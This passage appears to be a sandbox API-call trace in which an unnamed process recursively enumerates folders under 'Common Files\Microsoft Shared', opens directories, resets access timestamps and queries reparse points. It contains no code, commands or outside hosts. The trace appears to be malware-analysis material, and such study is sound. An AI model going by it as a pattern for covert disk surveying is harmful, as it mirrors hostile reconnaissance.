[0065.090] NtClose (Handle=0xec) returned 0x0 [0065.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0065.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0065.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5568 [0065.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0065.091] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.091] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0065.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.091] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.091] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0065.091] GetLastError () returned 0x12 [0065.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0065.091] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0065.091] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.091] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0065.091] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0065.091] GetLastError () returned 0x12 [0065.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5568) returned 1 [0065.091] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0065.092] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0065.092] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0065.092] GetLastError () returned 0x12 [0065.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0065.092] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0065.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.092] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.092] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0065.092] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0065.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0065.096] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.096] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.096] NtClose (Handle=0x18c) returned 0x0 [0065.096] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0065.096] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0065.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5568 [0065.097] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0065.097] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.097] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0065.097] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0065.097] GetLastError () returned 0x12 [0065.097] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0065.097] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0065.097] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.097] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0065.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5778 [0065.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.097] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5880 [0065.097] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0065.098] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0065.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.098] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0065.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.098] NtClose (Handle=0x18c) returned 0x0 [0065.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5880) returned 1 [0065.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5880 [0065.098] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.098] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5988 [0065.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0065.098] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.098] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0065.098] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0065.098] GetLastError () returned 0x12 [0065.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0065.098] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0065.099] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.099] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0065.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5a90 [0065.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5b98 [0065.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0065.102] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.102] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0065.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.102] NtClose (Handle=0x18c) returned 0x0 [0065.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5b98) returned 1 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5b98 [0065.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5ca0 [0065.102] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d160 [0065.102] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.102] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.102] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.102] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.102] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.103] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0065.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.103] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0065.103] GetLastError () returned 0x12 [0065.103] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) 